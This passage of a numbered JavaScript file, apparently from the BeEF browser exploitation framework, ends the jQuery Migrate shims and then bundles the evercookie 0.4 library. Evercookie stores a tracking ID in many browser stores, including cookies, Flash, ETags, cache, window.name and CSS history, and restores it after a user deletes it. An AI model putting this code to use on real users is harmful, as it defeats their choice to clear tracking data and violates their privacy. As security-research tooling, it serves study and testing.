  231.                                 jQuery.error("JQMIGRATE: Invalid selector string (XSS)");
  232.                         }
  233.  
  234.                         // Now process using loose rules; let pre-1.8 play too
  235.                         // Is this a jQuery context? parseHTML expects a DOM element (#178)
  236.                         if ( context && context.context && context.context.nodeType ) {
  237.                                 context = context.context;
  238.                         }
  239.  
  240.                         if ( jQuery.parseHTML ) {
  241.                                 return oldInit.call( this,
  242.                                                 jQuery.parseHTML( match[ 2 ], context && context.ownerDocument ||
  243.                                                         context || document, true ), context, rootjQuery );
  244.                         }
  245.                 }
  246.         }
  247.  
  248.         ret = oldInit.apply( this, arguments );
  249.  
  250.         // Fill in selector and context properties so .live() works
  251.         if ( selector && selector.selector !== undefined ) {
  252.                 // A jQuery object, copy its properties
  253.                 ret.selector = selector.selector;
  254.                 ret.context = selector.context;
  255.  
  256.         } else {
  257.                 ret.selector = typeof selector === "string" ? selector : "";
  258.                 if ( selector ) {
  259.                         ret.context = selector.nodeType? selector : context || document;
  260.                 }
  261.         }
  262.  
  263.         return ret;
  264. };
  265. jQuery.fn.init.prototype = jQuery.fn;
  266.  
  267. jQuery.find = function( selector ) {
  268.         var args = Array.prototype.slice.call( arguments );
  269.  
  270.         // Support: PhantomJS 1.x
  271.         // String#match fails to match when used with a //g RegExp, only on some strings
  272.         if ( typeof selector === "string" && rattrHashTest.test( selector ) ) {
  273.  
  274.                 // The nonstandard and undocumented unquoted-hash was removed in jQuery 1.12.0
  275.                 // First see if qS thinks it's a valid selector, if so avoid a false positive
  276.                 try {
  277.                         document.querySelector( selector );
  278.                 } catch ( err1 ) {
  279.  
  280.                         // Didn't *look* valid to qSA, warn and try quoting what we think is the value
  281.                         selector = selector.replace( rattrHashGlob, function( _, attr, op, value ) {
  282.                                 return "[" + attr + op + "\"" + value + "\"]";
  283.                         } );
  284.  
  285.                         // If the regexp *may* have created an invalid selector, don't update it
  286.                         // Note that there may be false alarms if selector uses jQuery extensions
  287.                         try {
  288.                                 document.querySelector( selector );
  289.                                 migrateWarn( "Attribute selector with '#' must be quoted: " + args[ 0 ] );
  290.                                 args[ 0 ] = selector;
  291.                         } catch ( err2 ) {
  292.                                 migrateWarn( "Attribute selector with '#' was not fixed: " + args[ 0 ] );
  293.                         }
  294.                 }
  295.         }
  296.  
  297.         return oldFind.apply( this, args );
  298. };
  299.  
  300. // Copy properties attached to original jQuery.find method (e.g. .attr, .isXML)
  301. var findProp;
  302. for ( findProp in oldFind ) {
  303.         if ( Object.prototype.hasOwnProperty.call( oldFind, findProp ) ) {
  304.                 jQuery.find[ findProp ] = oldFind[ findProp ];
  305.         }
  306. }
  307.  
  308. // Let $.parseJSON(falsy_value) return null
  309. jQuery.parseJSON = function( json ) {
  310.         if ( !json ) {
  311.                 migrateWarn("jQuery.parseJSON requires a valid JSON string");
  312.                 return null;
  313.         }
  314.         return oldParseJSON.apply( this, arguments );
  315. };
  316.  
  317. jQuery.uaMatch = function( ua ) {
  318.         ua = ua.toLowerCase();
  319.  
  320.         var match = /(chrome)[ \/]([\w.]+)/.exec( ua ) ||
  321.                 /(webkit)[ \/]([\w.]+)/.exec( ua ) ||
  322.                 /(opera)(?:.*version|)[ \/]([\w.]+)/.exec( ua ) ||
  323.                 /(msie) ([\w.]+)/.exec( ua ) ||
  324.                 ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec( ua ) ||
  325.                 [];
  326.  
  327.         return {
  328.                 browser: match[ 1 ] || "",
  329.                 version: match[ 2 ] || "0"
  330.         };
  331. };
  332.  
  333. // Don't clobber any existing jQuery.browser in case it's different
  334. if ( !jQuery.browser ) {
  335.         matched = jQuery.uaMatch( navigator.userAgent );
  336.         browser = {};
  337.  
  338.         if ( matched.browser ) {
  339.                 browser[ matched.browser ] = true;
  340.                 browser.version = matched.version;
  341.         }
  342.  
  343.         // Chrome is Webkit, but Webkit is also Safari.
  344.         if ( browser.chrome ) {
  345.                 browser.webkit = true;
  346.         } else if ( browser.webkit ) {
  347.                 browser.safari = true;
  348.         }
  349.  
  350.         jQuery.browser = browser;
  351. }
  352.  
  353. // Warn if the code tries to get jQuery.browser
  354. migrateWarnProp( jQuery, "browser", jQuery.browser, "jQuery.browser is deprecated" );
  355.  
  356. // jQuery.boxModel deprecated in 1.3, jQuery.support.boxModel deprecated in 1.7
  357. jQuery.boxModel = jQuery.support.boxModel = (document.compatMode === "CSS1Compat");
  358. migrateWarnProp( jQuery, "boxModel", jQuery.boxModel, "jQuery.boxModel is deprecated" );
  359. migrateWarnProp( jQuery.support, "boxModel", jQuery.support.boxModel, "jQuery.support.boxModel is deprecated" );
  360.  
  361. jQuery.sub = function() {
  362.         function jQuerySub( selector, context ) {
  363.                 return new jQuerySub.fn.init( selector, context );
  364.         }
  365.         jQuery.extend( true, jQuerySub, this );
  366.         jQuerySub.superclass = this;
  367.         jQuerySub.fn = jQuerySub.prototype = this();
  368.         jQuerySub.fn.constructor = jQuerySub;
  369.         jQuerySub.sub = this.sub;
  370.         jQuerySub.fn.init = function init( selector, context ) {
  371.                 var instance = jQuery.fn.init.call( this, selector, context, rootjQuerySub );
  372.                 return instance instanceof jQuerySub ?
  373.                         instance :
  374.                         jQuerySub( instance );
  375.         };
  376.         jQuerySub.fn.init.prototype = jQuerySub.fn;
  377.         var rootjQuerySub = jQuerySub(document);
  378.         migrateWarn( "jQuery.sub() is deprecated" );
  379.         return jQuerySub;
  380. };
  381.  
  382. // The number of elements contained in the matched element set
  383. jQuery.fn.size = function() {
  384.         migrateWarn( "jQuery.fn.size() is deprecated; use the .length property" );
  385.         return this.length;
  386. };
  387.  
  388.  
  389. var internalSwapCall = false;
  390.  
  391. // If this version of jQuery has .swap(), don't false-alarm on internal uses
  392. if ( jQuery.swap ) {
  393.         jQuery.each( [ "height", "width", "reliableMarginRight" ], function( _, name ) {
  394.                 var oldHook = jQuery.cssHooks[ name ] && jQuery.cssHooks[ name ].get;
  395.  
  396.                 if ( oldHook ) {
  397.                         jQuery.cssHooks[ name ].get = function() {
  398.                                 var ret;
  399.  
  400.                                 internalSwapCall = true;
  401.                                 ret = oldHook.apply( this, arguments );
  402.                                 internalSwapCall = false;
  403.                                 return ret;
  404.                         };
  405.                 }
  406.         });
  407. }
  408.  
  409. jQuery.swap = function( elem, options, callback, args ) {
  410.         var ret, name,
  411.                 old = {};
  412.  
  413.         if ( !internalSwapCall ) {
  414.                 migrateWarn( "jQuery.swap() is undocumented and deprecated" );
  415.         }
  416.  
  417.         // Remember the old values, and insert the new ones
  418.         for ( name in options ) {
  419.                 old[ name ] = elem.style[ name ];
  420.                 elem.style[ name ] = options[ name ];
  421.         }
  422.  
  423.         ret = callback.apply( elem, args || [] );
  424.  
  425.         // Revert the old values
  426.         for ( name in options ) {
  427.                 elem.style[ name ] = old[ name ];
  428.         }
  429.  
  430.         return ret;
  431. };
  432.  
  433.  
  434. // Ensure that $.ajax gets the new parseJSON defined in core.js
  435. jQuery.ajaxSetup({
  436.         converters: {
  437.                 "text json": jQuery.parseJSON
  438.         }
  439. });
  440.  
  441.  
  442. var oldFnData = jQuery.fn.data;
  443.  
  444. jQuery.fn.data = function( name ) {
  445.         var ret, evt,
  446.                 elem = this[0];
  447.  
  448.         // Handles 1.7 which has this behavior and 1.8 which doesn't
  449.         if ( elem && name === "events" && arguments.length === 1 ) {
  450.                 ret = jQuery.data( elem, name );
  451.                 evt = jQuery._data( elem, name );
  452.                 if ( ( ret === undefined || ret === evt ) && evt !== undefined ) {
  453.                         migrateWarn("Use of jQuery.fn.data('events') is deprecated");
  454.                         return evt;
  455.                 }
  456.         }
  457.         return oldFnData.apply( this, arguments );
  458. };
  459.  
  460.  
  461. var rscriptType = /\/(java|ecma)script/i;
  462.  
  463. // Since jQuery.clean is used internally on older versions, we only shim if it's missing
  464. if ( !jQuery.clean ) {
  465.         jQuery.clean = function( elems, context, fragment, scripts ) {
  466.                 // Set context per 1.8 logic
  467.                 context = context || document;
  468.                 context = !context.nodeType && context[0] || context;
  469.                 context = context.ownerDocument || context;
  470.  
  471.                 migrateWarn("jQuery.clean() is deprecated");
  472.  
  473.                 var i, elem, handleScript, jsTags,
  474.                         ret = [];
  475.  
  476.                 jQuery.merge( ret, jQuery.buildFragment( elems, context ).childNodes );
  477.  
  478.                 // Complex logic lifted directly from jQuery 1.8
  479.                 if ( fragment ) {
  480.                         // Special handling of each script element
  481.                         handleScript = function( elem ) {
  482.                                 // Check if we consider it executable
  483.                                 if ( !elem.type || rscriptType.test( elem.type ) ) {
  484.                                         // Detach the script and store it in the scripts array (if provided) or the fragment
  485.                                         // Return truthy to indicate that it has been handled
  486.                                         return scripts ?
  487.                                                 scripts.push( elem.parentNode ? elem.parentNode.removeChild( elem ) : elem ) :
  488.                                                 fragment.appendChild( elem );
  489.                                 }
  490.                         };
  491.  
  492.                         for ( i = 0; (elem = ret[i]) != null; i++ ) {
  493.                                 // Check if we're done after handling an executable script
  494.                                 if ( !( jQuery.nodeName( elem, "script" ) && handleScript( elem ) ) ) {
  495.                                         // Append to fragment and handle embedded scripts
  496.                                         fragment.appendChild( elem );
  497.                                         if ( typeof elem.getElementsByTagName !== "undefined" ) {
  498.                                                 // handleScript alters the DOM, so use jQuery.merge to ensure snapshot iteration
  499.                                                 jsTags = jQuery.grep( jQuery.merge( [], elem.getElementsByTagName("script") ), handleScript );
  500.  
  501.                                                 // Splice the scripts into ret after their former ancestor and advance our index beyond them
  502.                                                 ret.splice.apply( ret, [i + 1, 0].concat( jsTags ) );
  503.                                                 i += jsTags.length;
  504.                                         }
  505.                                 }
  506.                         }
  507.                 }
  508.  
  509.                 return ret;
  510.         };
  511. }
  512.  
  513. var eventAdd = jQuery.event.add,
  514.         eventRemove = jQuery.event.remove,
  515.         eventTrigger = jQuery.event.trigger,
  516.         oldToggle = jQuery.fn.toggle,
  517.         oldLive = jQuery.fn.live,
  518.         oldDie = jQuery.fn.die,
  519.         oldLoad = jQuery.fn.load,
  520.         ajaxEvents = "ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",
  521.         rajaxEvent = new RegExp( "\\b(?:" + ajaxEvents + ")\\b" ),
  522.         rhoverHack = /(?:^|\s)hover(\.\S+|)\b/,
  523.         hoverHack = function( events ) {
  524.                 if ( typeof( events ) !== "string" || jQuery.event.special.hover ) {
  525.                         return events;
  526.                 }
  527.                 if ( rhoverHack.test( events ) ) {
  528.                         migrateWarn("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'");
  529.                 }
  530.                 return events && events.replace( rhoverHack, "mouseenter$1 mouseleave$1" );
  531.         };
  532.  
  533. // Event props removed in 1.9, put them back if needed; no practical way to warn them
  534. if ( jQuery.event.props && jQuery.event.props[ 0 ] !== "attrChange" ) {
  535.         jQuery.event.props.unshift( "attrChange", "attrName", "relatedNode", "srcElement" );
  536. }
  537.  
  538. // Undocumented jQuery.event.handle was "deprecated" in jQuery 1.7
  539. if ( jQuery.event.dispatch ) {
  540.         migrateWarnProp( jQuery.event, "handle", jQuery.event.dispatch, "jQuery.event.handle is undocumented and deprecated" );
  541. }
  542.  
  543. // Support for 'hover' pseudo-event and ajax event warnings
  544. jQuery.event.add = function( elem, types, handler, data, selector ){
  545.         if ( elem !== document && rajaxEvent.test( types ) ) {
  546.                 migrateWarn( "AJAX events should be attached to document: " + types );
  547.         }
  548.         eventAdd.call( this, elem, hoverHack( types || "" ), handler, data, selector );
  549. };
  550. jQuery.event.remove = function( elem, types, handler, selector, mappedTypes ){
  551.         eventRemove.call( this, elem, hoverHack( types ) || "", handler, selector, mappedTypes );
  552. };
  553.  
  554. jQuery.each( [ "load", "unload", "error" ], function( _, name ) {
  555.  
  556.         jQuery.fn[ name ] = function() {
  557.                 var args = Array.prototype.slice.call( arguments, 0 );
  558.  
  559.                 // If this is an ajax load() the first arg should be the string URL;
  560.                 // technically this could also be the "Anything" arg of the event .load()
  561.                 // which just goes to show why this dumb signature has been deprecated!
  562.                 // jQuery custom builds that exclude the Ajax module justifiably die here.
  563.                 if ( name === "load" && typeof args[ 0 ] === "string" ) {
  564.                         return oldLoad.apply( this, args );
  565.                 }
  566.  
  567.                 migrateWarn( "jQuery.fn." + name + "() is deprecated" );
  568.  
  569.                 args.splice( 0, 0, name );
  570.                 if ( arguments.length ) {
  571.                         return this.bind.apply( this, args );
  572.                 }
  573.  
  574.                 // Use .triggerHandler here because:
  575.                 // - load and unload events don't need to bubble, only applied to window or image
  576.                 // - error event should not bubble to window, although it does pre-1.7
  577.                 // See http://bugs.jquery.com/ticket/11820
  578.                 this.triggerHandler.apply( this, args );
  579.                 return this;
  580.         };
  581.  
  582. });
  583.  
  584. jQuery.fn.toggle = function( fn, fn2 ) {
  585.  
  586.         // Don't mess with animation or css toggles
  587.         if ( !jQuery.isFunction( fn ) || !jQuery.isFunction( fn2 ) ) {
  588.                 return oldToggle.apply( this, arguments );
  589.         }
  590.         migrateWarn("jQuery.fn.toggle(handler, handler...) is deprecated");
  591.  
  592.         // Save reference to arguments for access in closure
  593.         var args = arguments,
  594.                 guid = fn.guid || jQuery.guid++,
  595.                 i = 0,
  596.                 toggler = function( event ) {
  597.                         // Figure out which function to execute
  598.                         var lastToggle = ( jQuery._data( this, "lastToggle" + fn.guid ) || 0 ) % i;
  599.                         jQuery._data( this, "lastToggle" + fn.guid, lastToggle + 1 );
  600.  
  601.                         // Make sure that clicks stop
  602.                         event.preventDefault();
  603.  
  604.                         // and execute the function
  605.                         return args[ lastToggle ].apply( this, arguments ) || false;
  606.                 };
  607.  
  608.         // link all the functions, so any of them can unbind this click handler
  609.         toggler.guid = guid;
  610.         while ( i < args.length ) {
  611.                 args[ i++ ].guid = guid;
  612.         }
  613.  
  614.         return this.click( toggler );
  615. };
  616.  
  617. jQuery.fn.live = function( types, data, fn ) {
  618.         migrateWarn("jQuery.fn.live() is deprecated");
  619.         if ( oldLive ) {
  620.                 return oldLive.apply( this, arguments );
  621.         }
  622.         jQuery( this.context ).on( types, this.selector, data, fn );
  623.         return this;
  624. };
  625.  
  626. jQuery.fn.die = function( types, fn ) {
  627.         migrateWarn("jQuery.fn.die() is deprecated");
  628.         if ( oldDie ) {
  629.                 return oldDie.apply( this, arguments );
  630.         }
  631.         jQuery( this.context ).off( types, this.selector || "**", fn );
  632.         return this;
  633. };
  634.  
  635. // Turn global events into document-triggered events
  636. jQuery.event.trigger = function( event, data, elem, onlyHandlers  ){
  637.         if ( !elem && !rajaxEvent.test( event ) ) {
  638.                 migrateWarn( "Global events are undocumented and deprecated" );
  639.         }
  640.         return eventTrigger.call( this,  event, data, elem || document, onlyHandlers  );
  641. };
  642. jQuery.each( ajaxEvents.split("|"),
  643.         function( _, name ) {
  644.                 jQuery.event.special[ name ] = {
  645.                         setup: function() {
  646.                                 var elem = this;
  647.  
  648.                                 // The document needs no shimming; must be !== for oldIE
  649.                                 if ( elem !== document ) {
  650.                                         jQuery.event.add( document, name + "." + jQuery.guid, function() {
  651.                                                 jQuery.event.trigger( name, Array.prototype.slice.call( arguments, 1 ), elem, true );
  652.                                         });
  653.                                         jQuery._data( this, name, jQuery.guid++ );
  654.                                 }
  655.                                 return false;
  656.                         },
  657.                         teardown: function() {
  658.                                 if ( this !== document ) {
  659.                                         jQuery.event.remove( document, name + "." + jQuery._data( this, name ) );
  660.                                 }
  661.                                 return false;
  662.                         }
  663.                 };
  664.         }
  665. );
  666.  
  667. jQuery.event.special.ready = {
  668.         setup: function() {
  669.                 if ( this === document ) {
  670.                         migrateWarn( "'ready' event is deprecated" );
  671.                 }
  672.         }
  673. };
  674.  
  675. var oldSelf = jQuery.fn.andSelf || jQuery.fn.addBack,
  676.         oldFnFind = jQuery.fn.find;
  677.  
  678. jQuery.fn.andSelf = function() {
  679.         migrateWarn("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()");
  680.         return oldSelf.apply( this, arguments );
  681. };
  682.  
  683. jQuery.fn.find = function( selector ) {
  684.         var ret = oldFnFind.apply( this, arguments );
  685.         ret.context = this.context;
  686.         ret.selector = this.selector ? this.selector + " " + selector : selector;
  687.         return ret;
  688. };
  689.  
  690.  
  691. // jQuery 1.6 did not support Callbacks, do not warn there
  692. if ( jQuery.Callbacks ) {
  693.  
  694.         var oldDeferred = jQuery.Deferred,
  695.                 tuples = [
  696.                         // action, add listener, callbacks, .then handlers, final state
  697.                         [ "resolve", "done", jQuery.Callbacks("once memory"),
  698.                                 jQuery.Callbacks("once memory"), "resolved" ],
  699.                         [ "reject", "fail", jQuery.Callbacks("once memory"),
  700.                                 jQuery.Callbacks("once memory"), "rejected" ],
  701.                         [ "notify", "progress", jQuery.Callbacks("memory"),
  702.                                 jQuery.Callbacks("memory") ]
  703.                 ];
  704.  
  705.         jQuery.Deferred = function( func ) {
  706.                 var deferred = oldDeferred(),
  707.                         promise = deferred.promise();
  708.  
  709.                 deferred.pipe = promise.pipe = function( /* fnDone, fnFail, fnProgress */ ) {
  710.                         var fns = arguments;
  711.  
  712.                         migrateWarn( "deferred.pipe() is deprecated" );
  713.  
  714.                         return jQuery.Deferred(function( newDefer ) {
  715.                                 jQuery.each( tuples, function( i, tuple ) {
  716.                                         var fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];
  717.                                         // deferred.done(function() { bind to newDefer or newDefer.resolve })
  718.                                         // deferred.fail(function() { bind to newDefer or newDefer.reject })
  719.                                         // deferred.progress(function() { bind to newDefer or newDefer.notify })
  720.                                         deferred[ tuple[1] ](function() {
  721.                                                 var returned = fn && fn.apply( this, arguments );
  722.                                                 if ( returned && jQuery.isFunction( returned.promise ) ) {
  723.                                                         returned.promise()
  724.                                                                 .done( newDefer.resolve )
  725.                                                                 .fail( newDefer.reject )
  726.                                                                 .progress( newDefer.notify );
  727.                                                 } else {
  728.                                                         newDefer[ tuple[ 0 ] + "With" ](
  729.                                                                 this === promise ? newDefer.promise() : this,
  730.                                                                 fn ? [ returned ] : arguments
  731.                                                         );
  732.                                                 }
  733.                                         });
  734.                                 });
  735.                                 fns = null;
  736.                         }).promise();
  737.  
  738.                 };
  739.  
  740.                 deferred.isResolved = function() {
  741.                         migrateWarn( "deferred.isResolved is deprecated" );
  742.                         return deferred.state() === "resolved";
  743.                 };
  744.  
  745.                 deferred.isRejected = function() {
  746.                         migrateWarn( "deferred.isRejected is deprecated" );
  747.                         return deferred.state() === "rejected";
  748.                 };
  749.  
  750.                 if ( func ) {
  751.                         func.call( deferred, deferred );
  752.                 }
  753.  
  754.                 return deferred;
  755.         };
  756.  
  757. }
  758.  
  759. })( jQuery, window );
  760.  
  761.  
  762. //
  763. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  764. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  765. // See the file 'doc/COPYING' for copying permission
  766. //
  767.  
  768. /*
  769.  * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
  770.  *
  771.  *  by samy kamkar : code@samy.pl : http://samy.pl
  772.  *
  773.  * this api attempts to produce several types of persistent data
  774.  * to essentially make a cookie virtually irrevocable from a system
  775.  *
  776.  * specifically it uses:
  777.  *  - standard http cookies
  778.  *  - flash cookies (local shared objects)
  779.  *  - silverlight isolated storage
  780.  *  - png generation w/forced cache and html5 canvas pixel reading
  781.  *  - http etags
  782.  *  - http cache
  783.  *  - window.name
  784.  *  - IE userData
  785.  *  - html5 session cookies
  786.  *  - html5 local storage
  787.  *  - html5 global storage
  788.  *  - html5 database storage via sqlite
  789.  *  - css history scanning
  790.  *
  791.  *  if any cookie is found, it's then reset to all the other locations
  792.  *  for example, if someone deletes all but one type of cookie, once
  793.  *  that cookie is re-discovered, all of the other cookie types get reset
  794.  *
  795.  *  !!! SOME OF THESE ARE CROSS-ORIGIN COOKIES, THIS MEANS
  796.  *  OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
  797.  *
  798.  * USAGE:
  799.  
  800.         var ec = new evercookie();     
  801.        
  802.         // set a cookie "id" to "12345"
  803.         // usage: ec.set(key, value)
  804.         ec.set("id", "12345");
  805.        
  806.         // retrieve a cookie called "id" (simply)
  807.         ec.get("id", function(value) { alert("Cookie value is " + value) });
  808.  
  809.         // or use a more advanced callback function for getting our cookie
  810.     // the cookie value is the first param
  811.     // an object containing the different storage methods
  812.         // and returned cookie values is the second parameter
  813.     function getCookie(best_candidate, all_candidates)
  814.     {
  815.         alert("The retrieved cookie is: " + best_candidate + "\n" +
  816.                 "You can see what each storage mechanism returned " +
  817.                         "by looping through the all_candidates object.");
  818.  
  819.                 for (var item in all_candidates)
  820.                         document.write("Storage mechanism " + item +
  821.                                 " returned " + all_candidates[item] + " votes<br>");
  822.     }
  823.     ec.get("id", getCookie);
  824.  
  825.         // we look for "candidates" based off the number of "cookies" that
  826.         // come back matching since it's possible for mismatching cookies.
  827.         // the best candidate is very-very-likely the correct one
  828.        
  829. */
  830.  
  831. /* to turn off CSS history knocking, set _ec_history to 0 */
  832. var _ec_history = 1; // CSS history knocking or not .. can be network intensive
  833. var _ec_tests = 10;//1000;
  834. var _ec_debug = 0;
  835.  
  836. function _ec_dump(arr, level)
  837. {
  838.         var dumped_text = "";
  839.         if(!level) level = 0;
  840.        
  841.         //The padding given at the beginning of the line.
  842.         var level_padding = "";
  843.         for(var j=0;j<level+1;j++) level_padding += "    ";
  844.        
  845.         if(typeof(arr) == 'object') { //Array/Hashes/Objects
  846.                 for(var item in arr) {
  847.                         var value = arr[item];
  848.                        
  849.                         if(typeof(value) == 'object') { //If it is an array,
  850.                                 dumped_text += level_padding + "'" + item + "' ...\n";
  851.                                 dumped_text += _ec_dump(value,level+1);
  852.                         } else {
  853.                                 dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
  854.                         }
  855.                 }
  856.         } else { //Stings/Chars/Numbers etc.
  857.                 dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
  858.         }
  859.         return dumped_text;
  860. }
  861.  
  862. function _ec_replace(str, key, value)
  863. {
  864.         if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
  865.         {
  866.                 // find start
  867.                 var idx = str.indexOf('&' + key + '=');
  868.                 if (idx == -1)
  869.                         idx = str.indexOf(key + '=');
  870.  
  871.                 // find end
  872.                 var end = str.indexOf('&', idx + 1);
  873.                 var newstr;
  874.                 if (end != -1)
  875.                         newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
  876.                 else
  877.                         newstr = str.substr(0, idx) + '&' + key + '=' + value;
  878.  
  879.                 return newstr;
  880.         }
  881.         else
  882.                 return str + '&' + key + '=' + value;
  883. }
  884.  
  885.  
  886. // necessary for flash to communicate with js...
  887. // please implement a better way
  888. var _global_lso;
  889. function _evercookie_flash_var(cookie)
  890. {
  891.         _global_lso = cookie;
  892.  
  893.         // remove the flash object now
  894.         var swf = $('#myswf');
  895.         if (swf && swf.parentNode)
  896.                 swf.parentNode.removeChild(swf);
  897. }
  898.  
  899. var evercookie = (function () {
  900. this._class = function() {
  901.  
  902. var self = this;
  903. // private property
  904. _baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  905. this._ec = {};
  906. var no_color = -1;
  907.  
  908. this.get = function(name, cb, dont_reset)
  909. {
  910.         $(document).ready(function() {
  911.                 self._evercookie(name, cb, undefined, undefined, dont_reset);
  912.         });
  913. };
  914.  
  915. this.set = function(name, value)
  916. {
  917.         $(document).ready(function() {
  918.                         self._evercookie(name, function() { }, value);
  919.         });
  920. };
  921.  
  922. this._evercookie = function(name, cb, value, i, dont_reset)
  923. {
  924.         if (typeof self._evercookie == 'undefined')
  925.                 self = this;
  926.        
  927.         if (typeof i == 'undefined')
  928.                 i = 0;
  929.  
  930.         // first run
  931.         if (i == 0)
  932.         {
  933.                 self.evercookie_database_storage(name, value);
  934.                 self.evercookie_png(name, value);
  935.                 self.evercookie_etag(name, value);
  936.                 self.evercookie_cache(name, value);
  937.                 self.evercookie_lso(name, value);
  938.                 self.evercookie_silverlight(name, value);
  939.  
  940.                 self._ec.userData               = self.evercookie_userdata(name, value);
  941.                 self._ec.cookieData             = self.evercookie_cookie(name, value);
  942.                 self._ec.localData              = self.evercookie_local_storage(name, value);
  943.                 self._ec.globalData             = self.evercookie_global_storage(name, value);
  944.                 self._ec.sessionData    = self.evercookie_session_storage(name, value);
  945.                 self._ec.windowData             = self.evercookie_window(name, value);
  946.        
  947.                 if (_ec_history)
  948.                         self._ec.historyData = self.evercookie_history(name, value);
  949.         }
  950.  
  951.         // when writing data, we need to make sure lso and silverlight object is there
  952.         if (typeof value != 'undefined')
  953.         {
  954.                 if (
  955.             (
  956.                 (typeof _global_lso == 'undefined') ||
  957.                 (typeof _global_isolated == 'undefined')
  958.             )
  959.             && i++ < _ec_tests
  960.         )
  961.                         setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  962.         }
  963.        
  964.         // when reading data, we need to wait for swf, db, silverlight and png
  965.         else
  966.         {
  967.                 if (
  968.                         (
  969.                                 // we support local db and haven't read data in yet
  970.                                 (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
  971.                                 (typeof _global_lso == 'undefined') ||
  972.                                 (typeof self._ec.etagData == 'undefined') ||
  973.                                 (typeof self._ec.cacheData == 'undefined') ||
  974.                                 (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
  975.                 (typeof _global_isolated == 'undefined')
  976.                         )
  977.                         &&
  978.                         i++ < _ec_tests
  979.                 )
  980.                 {
  981.                         setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  982.                 }
  983.  
  984.                 // we hit our max wait time or got all our data
  985.                 else
  986.                 {
  987.                         // get just the piece of data we need from swf
  988.                         self._ec.lsoData = self.getFromStr(name, _global_lso);
  989.                         _global_lso = undefined;
  990.            
  991.                         // get just the piece of data we need from silverlight
  992.                         self._ec.slData = self.getFromStr(name, _global_isolated);
  993.                         _global_isolated = undefined;
  994.  
  995.                         var tmpec = self._ec;
  996.                         self._ec = {};
  997.                        
  998.                         // figure out which is the best candidate
  999.                         var candidates = new Array();
  1000.                         var bestnum = 0;
  1001.                         var candidate;
  1002.                         for (var item in tmpec)
  1003.                         {
  1004.                                 if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
  1005.                                   tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
  1006.                                 {
  1007.                                                 candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
  1008.                                 }
  1009.                         }
  1010.                        
  1011.                         for (var item in candidates)
  1012.                         {
  1013.                                 if (candidates[item] > bestnum)
  1014.                                 {
  1015.                                         bestnum = candidates[item];
  1016.                                         candidate = item;
  1017.                                 }
  1018.                         }
  1019.                        
  1020.                         // reset cookie everywhere
  1021.                         if (typeof dont_reset == "undefined" || dont_reset != 1)
  1022.                                 self.set(name, candidate);
  1023.  
  1024.                         if (typeof cb == 'function')
  1025.                                 cb(candidate, tmpec);
  1026.                 }
  1027.         }
  1028. };
  1029.  
  1030. this.evercookie_window = function(name, value)
  1031. {
  1032.         try {
  1033.                 if (typeof(value) != "undefined")
  1034.                         window.name = _ec_replace(window.name, name, value);
  1035.                 else
  1036.                         return this.getFromStr(name, window.name);
  1037.         } catch(e) { }
  1038. };
  1039.  
  1040. this.evercookie_userdata = function(name, value)
  1041. {
  1042.         try {
  1043.                 var elm = this.createElem('div', 'userdata_el', 1);
  1044.                 elm.style.behavior = "url(#default#userData)";
  1045.  
  1046.                 if (typeof(value) != "undefined")
  1047.                 {
  1048.                         elm.setAttribute(name, value);
  1049.                         elm.save(name);
  1050.                 }
  1051.                 else
  1052.                 {
  1053.                         elm.load(name);
  1054.                         return elm.getAttribute(name);
  1055.                 }
  1056.         } catch(e) { }
  1057. };
  1058.  
  1059. this.evercookie_cache = function(name, value)
  1060. {
  1061.         if (typeof(value) != "undefined")
  1062.         {
  1063.                 // make sure we have evercookie session defined first
  1064.                 document.cookie = 'evercookie_cache=' + value;
  1065.                
  1066.                 // evercookie_cache.php handles caching
  1067.                 var img = new Image();
  1068.                 img.style.visibility = 'hidden';
  1069.                 img.style.position = 'absolute';
  1070.                 img.src = 'evercookie_cache.php?name=' + name;
  1071.         }
  1072.         else
  1073.         {
  1074.                 // interestingly enough, we want to erase our evercookie
  1075.                 // http cookie so the php will force a cached response
  1076.                 var origvalue = this.getFromStr('evercookie_cache', document.cookie);
  1077.                 self._ec.cacheData = undefined;
  1078.                 document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  1079.  
  1080.                 $.ajax({
  1081.                         url: 'evercookie_cache.php?name=' + name,
  1082.                         success: function(data) {
  1083.                                 // put our cookie back
  1084.                                 document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  1085.  
  1086.                                 self._ec.cacheData = data;
  1087.                         }
  1088.                 });
  1089.         }
  1090. };
  1091.  
  1092. this.evercookie_etag = function(name, value)
  1093. {
  1094.         if (typeof(value) != "undefined")
  1095.         {
  1096.                 // make sure we have evercookie session defined first
  1097.                 document.cookie = 'evercookie_etag=' + value;
  1098.                
  1099.                 // evercookie_etag.php handles etagging
  1100.                 var img = new Image();
  1101.                 img.style.visibility = 'hidden';
  1102.                 img.style.position = 'absolute';
  1103.                 img.src = 'evercookie_etag.php?name=' + name;
  1104.         }
  1105.         else
  1106.         {
  1107.                 // interestingly enough, we want to erase our evercookie
  1108.                 // http cookie so the php will force a cached response
  1109.                 var origvalue = this.getFromStr('evercookie_etag', document.cookie);
